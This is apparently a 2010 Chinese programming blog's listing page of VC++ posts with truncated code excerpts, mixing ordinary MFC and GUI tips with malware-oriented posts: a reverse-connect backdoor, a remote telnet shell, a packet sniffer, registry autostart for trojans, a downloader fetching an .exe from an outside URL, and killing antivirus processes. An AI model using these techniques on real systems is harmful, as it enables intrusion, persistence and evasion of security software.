vc++实现网路嗅探
摘要:#include <stdio.h>#include <winsock2.h>#include <ws2tcpip.h>#pragma comment (lib,"ws2_32.lib")#define SIO_RCVALL _WSAIOW(IOC_VENDOR,1)struct IPHEAD{ unsigned char h_len:4;//4位首部长度+4位...
阅读全文
posted @
2010-05-30 21:42
carekee
阅读(217)
推荐(0) 编辑
vc++反向连接后门
摘要:#include<winsock2.h>#include<stdio.h>#pragma comment(lib,"ws2_32.lib")void main(int argc,char **argv){char *messages = "\r\n======================== BackConnect BackDoor V0.1 =============...
阅读全文
posted @
2010-05-30 21:41
carekee
阅读(390)
推荐(0) 编辑
vc++telnet远程登录
摘要:#include <winsock2.h>#pragma comment(lib, "ws2_32.lib")#pragma comment(lib, "kernel32.lib")#define PORT 90SOCKET ServerSocket = INVALID_SOCKET;SOCKET ClientSocket = INVALID_SOCKET;HANDLE hReadPi...
阅读全文
posted @
2010-05-30 21:41
carekee
阅读(1544)
推荐(0) 编辑
vc++抓取系统用户名
摘要:#include <windows.h>#include <stdio.h>#include <lm.h>#pragma comment (lib, "Mpr.lib")#pragma comment (lib, "Netapi32.lib")void getuser(char *);void main( int argc, char *argv[ ] ){DW...
阅读全文
posted @
2010-05-30 21:40
carekee
阅读(290)
推荐(0) 编辑
vc++实现注册表自启动,木马用的比较多
摘要:#include <stdio.h>#include <windows.h>int main(void){char regname[]="Software\\Microsoft\\Windows\\CurrentVersion\\Run";HKEY hkResult;int ret=RegOpenKey(HKEY_LOCAL_MACHINE,regname,&hkR...
阅读全文
posted @
2010-05-30 21:39
carekee
阅读(245)
推荐(0) 编辑
vc++编写一个木马下载器,体积仅有0.3K
摘要:#include <urlmon.h>#pragma link "w32inet.lib" int main(){HRESULT hRet=URLDownloadToFile(0,"http://www.1111.com/abc.exe","d:\\abc.exe",0,0); if(hRet==S_OK) { printf("Download OK!\n");} else { p...
阅读全文
posted @
2010-05-30 21:39
carekee
阅读(269)
推荐(0) 编辑
vc++搭建一个NT服务框架
摘要:#include <stdio.h>#include <windows.h>SERVICE_STATUS m_ServiceStatus;SERVICE_STATUS_HANDLE m_ServiceStatusHandle;BOOL bRunning=true;void WINAPI ServiceMain(DWORD argc, LPTSTR *argv);//服务主函...
阅读全文
posted @
2010-05-30 21:37
carekee
阅读(459)
推荐(0) 编辑
vc++取得系统信息,并实时刷新
摘要:#include<stdio.h>#include<windows.h>void GetSysInfo();DWORD GetOS(){OSVERSIONINFO os;os.dwOSVersionInfoSize=sizeof(OSVERSIONINFO);GetVersionEx(&os);switch(os.dwPlatformId){case VER_PLA...
阅读全文
posted @
2010-05-30 21:37
carekee
阅读(506)
推荐(0) 编辑
VC++结束进程,干掉杀毒软件或者其他令人不爽的进程
摘要:void pslist(void){HANDLE hProcessSnap = NULL;PROCESSENTRY32 pe32= {0};hProcessSnap = CreateToolhelp32Snapshot(TH32CS_SNAPPROCESS, 0);if (hProcessSnap == (HANDLE)-1){printf("\nCreateToolhelp32Snapshot(...
阅读全文
posted @
2010-05-30 21:36
carekee
阅读(457)
推荐(0) 编辑
一个vc++ direct sound播放wav文件的类
摘要:头文件#if !defined(AFX_DIRECTSOUND_H__A20FE86F_118F_11D2_9AB3_0060B0CDC13E__INCLUDED_)#define AFX_DIRECTSOUND_H__A20FE86F_118F_11D2_9AB3_0060B0CDC13E__INCLUDED_#if _MSC_VER >= 1000#pragma once#endif /...
阅读全文
posted @
2010-05-30 21:35
carekee
阅读(1332)
推荐(0) 编辑
解决visual c++2005/2008下的不兼容sphelper.h的问题
摘要:VC8.0 以后里面是不支持 默认int型的VC8.0以后里面不支持这样的for循环for(int i = 0; i> 10 ; i++){ ......}不能在循环括号内定义变量,而应该改成:int i ;forint (i = 0; i> 10 ; i++){ ......}1) 2560行 SPPHONEID* pphoneId = (SPPHONEID*)((WCHAR *)d...
阅读全文
posted @
2010-05-30 21:34
carekee
阅读(286)
推荐(0) 编辑
VC++引用指南
摘要:引用是C++引入的新语言特性,是C++常用的一个重要内容之一,正确、灵活地使用引用,可以使程序简洁、高效。我在工作中发现,许多人使用它仅仅是想当然,在某些微妙的场合,很容易出错,究其原由,大多因为没有搞清本源。故在本篇中我将对引用进行详细讨论,希望对大家更好地理解和使用引用起到抛砖引玉的作用。 一、引用简介 引用就是某一变量(目标)的一个别名,对引用的操作与对变量直接操作完全一样。 引用的声...
阅读全文
posted @
2010-05-30 21:33
carekee
阅读(848)
推荐(0) 编辑
MFC指针的获取
摘要:1、获取应用程序指针CMyApp* pApp=(CMyApp*)AfxGetApp();2、获取主框架指针CWinApp 中的公有成员变量 m_pMainWnd 就是主框架的指针CMainFrame* pMainFrame = (CMainFrame*)(AfxGetApp()->m_pMainWnd);或者CMainFrame* pMainFrame = (CMainFrame*)AfxG...
阅读全文
posted @
2010-05-30 21:32
carekee
阅读(214)
推荐(0) 编辑
vc++常用函数方法
摘要:一、打开CD-ROMmciSendString("Set cdAudio door open wait",NULL,0,NULL);二、关闭CD_ROMmciSendString("Set cdAudio door closed wait",NULL,0,NULL);三、关闭计算机OSVERSIONINFO OsVersionInfo; //包含操作系统版本信息的数据结构OsVersionInfo...
阅读全文
posted @
2010-05-30 21:31
carekee
阅读(1336)
推荐(0) 编辑
SDI实现多视图并切换视图
摘要:首先在H文件有如下声明:class CMultiViewApp : public CWinApp{public: CView* m_pFirstView; CView* m_pOtherView; int m_currentView; CView* m_pView2; CView* m_pView1; CMultiViewApp();// Overrides // ClassWizard gene...
阅读全文
posted @
2010-05-30 21:31
carekee
阅读(1056)
推荐(0) 编辑
vc++经典技巧总结
摘要:1."属性页的添加:创建对话框的类,该类要从CpropertyPage继承;然后在要添加该对话框为属性页的类(头文件)里创建CpropertySheet类的一个对象m_tabsheet和新创建的对话框类的对象m_skatch;最后,在.cpp文件里的OnInitDialog()之类的函数里实现如下代码:m_tabsheet.Create(this, WS_CHILD | WS_VISIBLE, 0...
阅读全文
posted @
2010-05-30 21:29
carekee
阅读(10597)
推荐(0) 编辑
木马编写小技巧
摘要:1.锁定鼠标:这个功能很简单只要一个ClipCursor()就可以搞定了看看下面的小程序#include <stdio.h>#include <windows.h>int main(int argc, char* argv[]){printf("\n别害怕15妙后你的鼠标就可以使用了^_^\n");RECT rect;rect.bottom=1;rect.right=1;C...
阅读全文
posted @
2010-05-30 21:29
carekee
阅读(254)
推荐(0) 编辑
VC++界面编程总结
摘要:一、改变视图背景色: 在CView的OnDraw函数中添写如下一段程序代码: void CFileNameView::OnDraw(CDC* pDC) {CFileNameDoc* pDoc = GetDocument();ASSERT_VALID(pDoc);CRect rectClient;CBrush brushBkColor;GetClientRect(rectClient);brushB...
阅读全文
posted @
2010-05-30 21:28
carekee
阅读(597)
推荐(0) 编辑
VC++常用数据类型
摘要:一. VC常用数据类型列表二. 常用数据类型转化2.1数学类型变量与字符串相互转换2.2 CString及string,char *与其他数据类型的转换和操作●CString,string,char*的综合比较●数学类型与CString相互转化●CString与char*相互转换举例●CString 与 BSTR 型转换●VARIANT ...
阅读全文
posted @
2010-05-30 21:27
carekee
阅读(507)
推荐(0) 编辑
一套基于模板匹配的语音识别技术。提取语音的特征,并建立模板库,可以将语音识别技术应用于机器人
摘要:视图类,废话少说,看看带注释的源码#include "stdafx.h" #include "robot.h" #include"Label.h" #include "robotDoc.h" #include "robotView.h" #ifdef _DEBUG #define new DEBUG_NEW #undef THIS_FILE static char THIS_FILE[...
阅读全文
posted @
2010-05-30 21:26
carekee
阅读(468)
推荐(0) 编辑